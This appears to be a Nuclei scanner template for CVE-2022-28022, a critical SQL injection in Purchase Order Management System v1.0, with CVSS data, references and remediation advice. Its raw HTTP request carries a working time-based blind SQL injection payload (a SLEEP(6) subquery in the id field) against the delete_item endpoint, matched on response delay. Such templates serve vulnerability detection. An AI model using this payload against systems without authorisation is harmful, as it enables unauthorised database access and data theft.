Purchase Order Management v1.0 - SQL Injection

id: CVE-2022-28022

info:
  name: Purchase Order Management v1.0 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    Purchase Order Management System v1.0 was discovered to contain a SQL injection vulnerability via /purchase_order/classes/Master.php?f=delete_item.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the SQL Injection vulnerability in the Purchase Order Management v1.0 application.
  reference:
    - https://github.com/debug601/bug_report/blob/main/vendors/oretnom23/purchase-order-management-system/SQLi-1.md
    - https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html
    - https://nvd.nist.gov/vuln/detail/CVE-2022-28022
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/debug601/bug_report
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-28022
    cwe-id: CWE-89
    epss-score: 0.02031
    epss-percentile: 0.87755
    cpe: cpe:2.3:a:purchase_order_management_system_project:purchase_order_management_system:1.0:*:*:*:*:*:*:*
  metadata:
    verified: "true"
    max-request: 1
    vendor: purchase_order_management_system_project
    product: purchase_order_management_system
  tags: cve,cve2022,sqli,purchase-order-management-system,purchase_order_management_system_project

http:
  - raw:
      - |
        POST /classes/Master.php?f=delete_item HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        id=test'+AND+(SELECT+2844+FROM+(SELECT(SLEEP(6)))FDTM)+AND+'sWZA'='sWZA

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(header, "text/html")'
          - 'contains(body, "status\":\"success")'
        condition: and
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